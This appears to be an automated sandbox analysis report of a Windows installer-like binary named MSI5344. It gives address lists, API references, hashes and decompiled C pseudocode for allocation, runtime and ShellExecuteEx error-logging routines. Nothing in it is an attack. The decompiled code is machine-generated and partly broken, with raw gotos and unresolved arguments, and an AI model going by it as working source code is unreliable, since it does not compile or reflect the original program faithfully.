0x7ff7af718cc7
0x7ff7af718ccc
0x7ff7af718cd1
0x7ff7af718cd9
0x7ff7af718ce1
0x7ff7af718ce4
0x7ff7af718cea
0x7ff7af718cef
0x7ff7af718cf1
0x7ff7af718cfb
0x7ff7af718cfd
0x7ff7af718d02
0x7ff7af718d0a
0x7ff7af718d0d
0x7ff7af718d1a
0x7ff7af718d1d
0x7ff7af718d29
0x7ff7af718d2e
0x7ff7af718d30
0x7ff7af718d33
0x7ff7af718d38
0x7ff7af718d3c
0x7ff7af718d3e
0x7ff7af718d43
0x7ff7af718d45
0x7ff7af718d4f
0x7ff7af718d5a
0x7ff7af718d5f
0x7ff7af718d63
0x7ff7af718d68
0x7ff7af718d6b
0x7ff7af718d70
0x7ff7af718d74
0x7ff7af718d76
0x7ff7af718d7b
0x7ff7af718d7d
0x7ff7af718d87
0x7ff7af718d89
0x7ff7af718d91
0x7ff7af718d93
0x7ff7af718d9c
0x7ff7af718da4
0x7ff7af718dac
0x7ff7af718db4
0x7ff7af718dba
0x7ff7af718dbc
0x7ff7af718dbf
0x7ff7af718dc4
0x7ff7af718dc7
0x7ff7af718dca
0x7ff7af718dcf
0x7ff7af718dd1
0x7ff7af718dd6
0x7ff7af718ddb
0x7ff7af718dde
0x7ff7af718de3
0x7ff7af718de7
0x7ff7af718de9
0x7ff7af718dee
0x7ff7af718df0
0x7ff7af718df5
0x7ff7af718df8
0x7ff7af718e1a

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718CAD
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718CFD
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718D45
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718D7D
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF718DF0

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 850d028a43eba9b53b673878d4cbf825bb76bfced8da6636035763c7533ebcc3
Instruction ID: 50dba59f4846dfc949eee7b7e7e78e7c141a62a6ac42da4265104c279e439e85
Opcode Fuzzy Hash: 850d028a43eba9b53b673878d4cbf825bb76bfced8da6636035763c7533ebcc3
Instruction Fuzzy Hash: 7351962A90ABC686E752AF2194502FDFB95AF1DB44FCA8071C6CC073B6CE2D945DC325

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DF960 Relevance: 7.7, APIs: 5, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,?,00000002,00007FF7AF6DFB7B,?,?,?,?,?,00007FF7AF6DFDEC), ref: 00007FF7AF6DFA05
LocalAlloc.KERNEL32(00000000,?,00000002,00007FF7AF6DFB7B,?,?,?,?,?,00007FF7AF6DFDEC), ref: 00007FF7AF6DFA2F
LocalFree.KERNEL32(?,?,?,?,?,00007FF7AF6DFDEC), ref: 00007FF7AF6DFA9A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DFAE5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DFAEB

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Concurrency::cancel_current_taskFree_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1259271893-0
Opcode ID: e0a9d2614539f45926aeecc55518af893b0595a575fdb3a3c253994f8d9508b3
Instruction ID: 8df3a10ee2d0735532a41a032f93169e4f0c014454139867494d7aa198ccdea4
Opcode Fuzzy Hash: e0a9d2614539f45926aeecc55518af893b0595a575fdb3a3c253994f8d9508b3
Instruction Fuzzy Hash: 9951066170BBC585EA04AF16E5043EAE3A6EB08BD0F994632DF5D0B7E5DE7CE0518310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DB0C0 Relevance: 7.6, APIs: 5, Instructions: 149
memoryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00007FF77FF7AF6DB0C0(long long* __rcx, void* __rdx, void* __rbp, long long __r8, signed long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v72;
				void* __rbx;
				void* __rsi;
				void* _t37;
				intOrPtr _t55;
				long long _t58;
				long long _t66;
				unsigned long long _t70;
				long long _t75;
				unsigned long long _t81;
				intOrPtr _t88;
				long long* _t89;
				signed long long _t91;
				long long _t107;
				void* _t109;
				signed long long _t111;
				long long _t112;
				signed long long _t115;
				signed long long _t116;

				_a24 = __r8;
				_t109 = __rdx;
				_t89 = __rcx;
				_t55 =  *((intOrPtr*)(__rcx));
				_t115 =  *((intOrPtr*)(__rcx + 8)) - _t55 >> 5;
				if (_t115 == 0xffffffff) goto 0xaf6db2bb;
				_t116 = _t115 + 1;
				_t70 =  *((intOrPtr*)(__rcx + 0x10)) - _t55 >> 5;
				_t81 = _t70 >> 1;
				if (_t70 - 0xffffffff - _t81 > 0) goto 0xaf6db2b5;
				_t58 = _t81 + _t70;
				_t111 =  >=  ? _t58 : _t116;
				if (_t111 - 0xffffffff > 0) goto 0xaf6db2b5;
				_t91 = _t111 << 5;
				_a8 = _t111;
				if (_t91 - 0x1000 < 0) goto 0xaf6db187;
				if (_t91 + 0x27 - _t91 <= 0) goto 0xaf6db2b5;
				LocalAlloc(??, ??);
				if (_t58 == 0) goto 0xaf6db2c1;
				_t7 = _t58 + 0x27; // 0x27
				 *((long long*)((_t7 & 0xffffffe0) - 8)) = _t58;
				goto 0xaf6db1ae;
				if (_t91 == 0) goto 0xaf6db1a7;
				LocalAlloc(??, ??);
				_t66 = _t58;
				goto 0xaf6db1a9;
				_a8 = _t111;
				_a16 = _t66;
				_t112 = (__rdx - _t55 & 0xffffffe0) + _t66;
				_t107 = _t112 + 0x20;
				_a32 = _t107;
				_v72 = _t107;
				 *_t112 = 0;
				 *((long long*)(_t112 + 0x10)) = 0;
				 *((long long*)(_t112 + 0x18)) = 0;
				 *((long long*)(_t112 + 0x18)) = 7;
				asm("inc ecx");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec ax");
				E00007FF77FF7AF6D2000(_t66, _t112, _t91, _t91, __rbp, _a24);
				_v72 = _t112;
				if (_t109 !=  *((intOrPtr*)(_t89 + 8))) goto 0xaf6db220;
				goto 0xaf6db23a;
				E00007FF77FF7AF6D3DF0(_t58,  *_t89, _t109, _t66, _t89);
				_v72 = _t66;
				E00007FF77FF7AF6D3DF0(_t58, _t109,  *((intOrPtr*)(_t89 + 8)), _t66, _t89);
				if ( *_t89 == 0) goto 0xaf6db28c;
				E00007FF77FF7AF6D13D0(_t66,  *_t89,  *((intOrPtr*)(_t89 + 8)), _t91);
				_t75 =  *_t89;
				if (( *((intOrPtr*)(_t89 + 0x10)) - _t75 & 0xffffffe0) - 0x1000 < 0) goto 0xaf6db281;
				_t88 =  *((intOrPtr*)(_t75 - 8));
				if (_t75 - _t88 - 8 - 0x1f > 0) goto 0xaf6db2c1;
				if (_t88 == 0) goto 0xaf6db28c;
				_t37 = LocalFree(??);
				 *_t89 = _t66;
				 *((long long*)(_t89 + 8)) = (_t116 << 5) + _t66;
				 *((long long*)(_t89 + 0x10)) = _t91 + _t66;
				return _t37;
			}

0x7ff7af6db0c0
0x7ff7af6db0d4
0x7ff7af6db0d7
0x7ff7af6db0da
0x7ff7af6db0ea
0x7ff7af6db0fb
0x7ff7af6db101
0x7ff7af6db10b
0x7ff7af6db112
0x7ff7af6db11e
0x7ff7af6db124
0x7ff7af6db12e
0x7ff7af6db135
0x7ff7af6db13e
0x7ff7af6db142
0x7ff7af6db14e
0x7ff7af6db157
0x7ff7af6db162
0x7ff7af6db16b
0x7ff7af6db171
0x7ff7af6db179
0x7ff7af6db185
0x7ff7af6db18a
0x7ff7af6db194
0x7ff7af6db19a
0x7ff7af6db1a5
0x7ff7af6db1a9
0x7ff7af6db1ae
0x7ff7af6db1b7
0x7ff7af6db1bb
0x7ff7af6db1bf
0x7ff7af6db1c7
0x7ff7af6db1cc
0x7ff7af6db1d3
0x7ff7af6db1db
0x7ff7af6db1e3
0x7ff7af6db1eb
0x7ff7af6db1ef
0x7ff7af6db1f3
0x7ff7af6db1f8
0x7ff7af6db1fd
0x7ff7af6db205
0x7ff7af6db20a
0x7ff7af6db219
0x7ff7af6db21e
0x7ff7af6db229
0x7ff7af6db22e
0x7ff7af6db240
0x7ff7af6db24c
0x7ff7af6db252
0x7ff7af6db257
0x7ff7af6db26b
0x7ff7af6db26d
0x7ff7af6db27c
0x7ff7af6db284
0x7ff7af6db286
0x7ff7af6db28c
0x7ff7af6db296
0x7ff7af6db29e
0x7ff7af6db2b4

APIs

LocalAlloc.KERNEL32(?,?,?,00000000,?,00007FF7AF6DA3A1), ref: 00007FF7AF6DB162
LocalAlloc.KERNEL32(?,?,?,00000000,?,00007FF7AF6DA3A1), ref: 00007FF7AF6DB194
LocalFree.KERNEL32(?,?,?,00000000,?,00007FF7AF6DA3A1), ref: 00007FF7AF6DB286
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DB2B5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DB2C1

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Concurrency::cancel_current_taskFree_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1259271893-0
Opcode ID: 4939041e11475adc52ab4ba2a82648de9c3611b1d0ae8ddac70262d929341b6f
Instruction ID: 34f428e0d3eece8ad0359164174a3856ad1c05f25c6c92f415cc9bfb70a50699
Opcode Fuzzy Hash: 4939041e11475adc52ab4ba2a82648de9c3611b1d0ae8ddac70262d929341b6f
Instruction Fuzzy Hash: 1A510122706A8182FA14AB65E9057BDA369FB44BE4F815736DF6C077E8CF3CE0608310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DEDD0 Relevance: 7.6, APIs: 5, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF7AF6DDC15), ref: 00007FF7AF6DEE73
LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF7AF6DDC15), ref: 00007FF7AF6DEE9D
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00007FF7AF6DDC15), ref: 00007FF7AF6DEF0E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6DEF5C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DEF62

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Concurrency::cancel_current_taskFree_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1259271893-0
Opcode ID: f2a349242a92ad7f99e156242ca758299efbf1a8d00901acbb79d1592a5a594c
Instruction ID: 5a544efe1d3e2a632c5d0e96b5925d76d96c32e42c0e243322fa5851c3a2f097
Opcode Fuzzy Hash: f2a349242a92ad7f99e156242ca758299efbf1a8d00901acbb79d1592a5a594c
Instruction Fuzzy Hash: 1641E46570BBC285EB14AB12D4083AAE35AEB18BD0FC95636DF5D0B7E5DE7CD0518320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D19D0 Relevance: 7.6, APIs: 5, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6D1A5D
LocalAlloc.KERNEL32 ref: 00007FF7AF6D1A87
LocalFree.KERNEL32 ref: 00007FF7AF6D1ADC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D1B00
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6D1B0C

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Concurrency::cancel_current_taskFree_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1259271893-0
Opcode ID: 037afe1b4fa26d2d978c58ac76346cfa54965159b9c1fd1f01c3d0fffd56391f
Instruction ID: d38e05f32a42a7a8259aff0334c556c2bb8a15afea12341d53bd99e4779009ae
Opcode Fuzzy Hash: 037afe1b4fa26d2d978c58ac76346cfa54965159b9c1fd1f01c3d0fffd56391f
Instruction Fuzzy Hash: 9531E36170BA8249FA18AB12D5443B9E25BAB04BD0F995633CF6D077E5EEBCD4A08310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D76F0 Relevance: 7.6, APIs: 5, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF7AF6D7754
LocalAlloc.KERNEL32 ref: 00007FF7AF6D77AE
LocalFree.KERNEL32 ref: 00007FF7AF6D781E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6D7851
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D7857

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Concurrency::cancel_current_taskFree_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1259271893-0
Opcode ID: 572c4cbc41c16d66e8972f035647cceed4864785408de2efd4674f969e074cf6
Instruction ID: c26245b2545bdd3e83fb5981ae873d8cba3c6476ee28fb7c3454588c3ed7db48
Opcode Fuzzy Hash: 572c4cbc41c16d66e8972f035647cceed4864785408de2efd4674f969e074cf6
Instruction Fuzzy Hash: B141C476607FC581EA149B65E5442EAE3A6EB48BD0F955A36CFAD03BA4DF3CE050C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D6F60 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00007FF77FF7AF6D6F60(void* __ecx, long long __rbx, short* __rdx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {
				signed int _t15;
				void* _t21;
				short* _t43;
				signed int* _t44;
				signed int* _t45;
				signed int* _t46;
				signed int* _t47;
				signed int* _t48;
				signed int* _t49;
				signed short* _t52;
				char* _t63;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				r8d = GetLastError();
				_t52 =  !=  ? L"true" : L"false";
				if ( *__rdx == 0) goto 0xaf6d6faa;
				_t43 = __rdx + 2;
				if ( *_t43 != 0) goto 0xaf6d6fa0;
				 *_t43 = 0x43;
				_t44 = _t43 + 2;
				if (( *(L"Call to ShellExecuteEx() returned:" - _t43 + _t44) & 0x0000ffff) != 0) goto 0xaf6d6fc0;
				 *_t44 = 0;
				_t15 =  *_t52 & 0x0000ffff;
				if (_t15 == 0) goto 0xaf6d6ff0;
				 *_t44 = _t15;
				_t45 =  &(_t44[0]);
				if (( *(_t52 - _t44 + _t45) & 0x0000ffff) != 0) goto 0xaf6d6fe0;
				_t63 = L"\r\n";
				 *_t45 = 0;
				 *_t45 = 0xd;
				_t46 =  &(_t45[0]);
				if (( *(_t63 - _t45 + _t46) & 0x0000ffff) != 0) goto 0xaf6d7010;
				 *_t46 = 0;
				asm("o16 nop [eax+eax]");
				 *_t46 = 0x4c;
				_t47 =  &(_t46[0]);
				if (( *(L"Last error=" - _t46 + _t47) & 0x0000ffff) != 0) goto 0xaf6d7040;
				 *_t47 = 0;
				_t21 = E00007FF77FF7AF6D7900(r8d, _t47);
				if ( *_t47 == 0) goto 0xaf6d706c;
				_t48 =  &(_t47[0]);
				if ( *_t48 != 0) goto 0xaf6d7063;
				 *_t48 = 0xd;
				_t49 =  &(_t48[0]);
				if (( *(_t63 - _t48 + _t49) & 0x0000ffff) != 0) goto 0xaf6d7070;
				 *_t49 = 0;
				return _t21;
			}

0x7ff7af6d6f60
0x7ff7af6d6f65
0x7ff7af6d6f6a
0x7ff7af6d6f88
0x7ff7af6d6f92
0x7ff7af6d6f9a
0x7ff7af6d6fa0
0x7ff7af6d6fa8
0x7ff7af6d6fc0
0x7ff7af6d6fc3
0x7ff7af6d6fce
0x7ff7af6d6fd2
0x7ff7af6d6fd5
0x7ff7af6d6fdb
0x7ff7af6d6fe0
0x7ff7af6d6fe3
0x7ff7af6d6fee
0x7ff7af6d6ff0
0x7ff7af6d6ff7
0x7ff7af6d7010
0x7ff7af6d7013
0x7ff7af6d701e
0x7ff7af6d7027
0x7ff7af6d7036
0x7ff7af6d7040
0x7ff7af6d7043
0x7ff7af6d704e
0x7ff7af6d7053
0x7ff7af6d7059
0x7ff7af6d7061
0x7ff7af6d7063
0x7ff7af6d706a
0x7ff7af6d7070
0x7ff7af6d7073
0x7ff7af6d707e
0x7ff7af6d7088
0x7ff7af6d709a

APIs

GetLastError.KERNEL32 ref: 00007FF7AF6D6F79

Strings

Last error=, xrefs: 00007FF7AF6D7020
false, xrefs: 00007FF7AF6D6F81
true, xrefs: 00007FF7AF6D6F8B
Call to ShellExecuteEx() returned:, xrefs: 00007FF7AF6D6FAA

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: 5a3c8d9b389a0e931cb278c665515cd0143768da316939b0aea748339cd5515d
Instruction ID: 3507e87d1d3ddeaa1f1dbeb940135f5424117f3cd6b45b678f3799ce74db3df8
Opcode Fuzzy Hash: 5a3c8d9b389a0e931cb278c665515cd0143768da316939b0aea748339cd5515d
Instruction Fuzzy Hash: 91313C5AA16A8181EB116F24E4103F9B3F5FF54F84FD9A036DA49432A4EB3CD541C326

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF72E30C Relevance: 7.6, APIs: 5, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00007FF77FF7AF72E30C(signed int __ecx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t46;
				void* _t51;

				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __ecx & 0x0000001f;
				if ((__ecx & 0x00000008) == 0) goto 0xaf72e33e;
				if (sil >= 0) goto 0xaf72e33e;
				E00007FF77FF7AF726590(_t27, _t51);
				_t28 = _t27 & 0xfffffff7;
				goto 0xaf72e395;
				_t42 = 0x00000004 & dil;
				if (_t42 == 0) goto 0xaf72e359;
				asm("dec eax");
				if (_t42 >= 0) goto 0xaf72e359;
				E00007FF77FF7AF726590(_t28, _t51);
				_t29 = _t28 & 0xfffffffb;
				goto 0xaf72e395;
				_t43 = dil & 0x00000001;
				if (_t43 == 0) goto 0xaf72e375;
				asm("dec eax");
				if (_t43 >= 0) goto 0xaf72e375;
				E00007FF77FF7AF726590(_t29, _t51);
				_t30 = _t29 & 0xfffffffe;
				goto 0xaf72e395;
				_t44 = dil & 0x00000002;
				if (_t44 == 0) goto 0xaf72e395;
				asm("dec eax");
				if (_t44 >= 0) goto 0xaf72e395;
				if ((dil & 0x00000010) == 0) goto 0xaf72e392;
				E00007FF77FF7AF726590(_t30, _t51);
				_t31 = _t30 & 0xfffffffd;
				_t46 = dil & 0x00000010;
				if (_t46 == 0) goto 0xaf72e3af;
				asm("dec eax");
				if (_t46 >= 0) goto 0xaf72e3af;
				E00007FF77FF7AF726590(_t31, _t51);
				return 0 | (_t31 & 0xffffffef) == 0x00000000;
			}

0x7ff7af72e30c
0x7ff7af72e311
0x7ff7af72e320
0x7ff7af72e328
0x7ff7af72e32d
0x7ff7af72e334
0x7ff7af72e339
0x7ff7af72e33c
0x7ff7af72e343
0x7ff7af72e346
0x7ff7af72e348
0x7ff7af72e34d
0x7ff7af72e34f
0x7ff7af72e354
0x7ff7af72e357
0x7ff7af72e359
0x7ff7af72e35d
0x7ff7af72e35f
0x7ff7af72e364
0x7ff7af72e36b
0x7ff7af72e370
0x7ff7af72e373
0x7ff7af72e375
0x7ff7af72e379
0x7ff7af72e37b
0x7ff7af72e380
0x7ff7af72e386
0x7ff7af72e38d
0x7ff7af72e392
0x7ff7af72e395
0x7ff7af72e399
0x7ff7af72e39b
0x7ff7af72e3a0
0x7ff7af72e3a7
0x7ff7af72e3c5

APIs

_set_statfp.LIBCMT ref: 00007FF7AF72E334
_set_statfp.LIBCMT ref: 00007FF7AF72E34F
_set_statfp.LIBCMT ref: 00007FF7AF72E36B
_set_statfp.LIBCMT ref: 00007FF7AF72E3A7

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 5c049c37566ce06b1ac60dc70e532f3307c57ecf40b6e7c7c4e2ef5b6762f83d
Instruction ID: bd7eb5621480287704846d8292b991623e2cfeeb43082b47c7f554198e091960
Opcode Fuzzy Hash: 5c049c37566ce06b1ac60dc70e532f3307c57ecf40b6e7c7c4e2ef5b6762f83d
Instruction Fuzzy Hash: 2911512AD1AAC245F6643319DC813F9D545EF9D372FCA0A3DE56E4A2FB9F1C69804120

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7227BC Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7AF70F383,?,?,00000000,00007FF7AF70F61E,?,?,?,?,?,00007FF7AF70F5AA), ref: 00007FF7AF7227DB
FlsSetValue.KERNEL32(?,?,?,00007FF7AF70F383,?,?,00000000,00007FF7AF70F61E,?,?,?,?,?,00007FF7AF70F5AA), ref: 00007FF7AF7227FA
FlsSetValue.KERNEL32(?,?,?,00007FF7AF70F383,?,?,00000000,00007FF7AF70F61E,?,?,?,?,?,00007FF7AF70F5AA), ref: 00007FF7AF722822
FlsSetValue.KERNEL32(?,?,?,00007FF7AF70F383,?,?,00000000,00007FF7AF70F61E,?,?,?,?,?,00007FF7AF70F5AA), ref: 00007FF7AF722833
FlsSetValue.KERNEL32(?,?,?,00007FF7AF70F383,?,?,00000000,00007FF7AF70F61E,?,?,?,?,?,00007FF7AF70F5AA), ref: 00007FF7AF722844

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a48bbdf5973225a03a3e014dad578aa7baae9dd9cad2ff3f62c3ae76e184bba4
Instruction ID: 275c917bdba0284856fe0b2ea5cdb4855de7b25285200bb67ad48f196872baf2
Opcode Fuzzy Hash: a48bbdf5973225a03a3e014dad578aa7baae9dd9cad2ff3f62c3ae76e184bba4
Instruction Fuzzy Hash: 68115C28F0F2C241FA6877226D415FAA151DF4C7A0FD64734E93E066F6DE2CE8118620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E6384 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00007FF77FF7AF6E6384(long long __rbx, void* __rcx, long long __rdx, long long __rdi, long long __rsi, signed int __r8, char _a8, void* _a16, void* _a24, void* _a32) {
				void* _t34;
				long long _t44;
				void* _t54;
				signed int _t61;
				intOrPtr* _t63;
				long long _t76;
				void* _t81;

				_t44 = _t76;
				 *((long long*)(_t44 + 0x10)) = __rbx;
				 *((long long*)(_t44 + 0x18)) = __rsi;
				 *((long long*)(_t44 + 0x20)) = __rdi;
				_t54 = __rcx;
				E00007FF77FF7AF6E8B64(0, _t44 + 8);
				if ( *(_t54 + 0x18) - __r8 > 0) goto 0xaf6e6401;
				_t71 =  <  ? _t44 : __r8 + 1;
				0xaf71b7ec(_t81);
				if (_t44 == 0) goto 0xaf6e646f;
				 *((long long*)(_t54 + 0x10)) = _t44;
				goto 0xaf6e63fc;
				 *( *((intOrPtr*)(_t54 + 0x10)) +  *(_t54 + 0x18) * 8) =  *( *((intOrPtr*)(_t54 + 0x10)) +  *(_t54 + 0x18) * 8) & 0x00000000;
				_t61 =  *(_t54 + 0x18) + 1;
				 *(_t54 + 0x18) = _t61;
				if (_t61 - ( <  ? _t44 : __r8 + 1) < 0) goto 0xaf6e63e8;
				 *0xaf7354d0();
				_t63 =  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x10)) + __r8 * 8));
				if (_t63 == 0) goto 0xaf6e6447;
				 *0xaf7354d0();
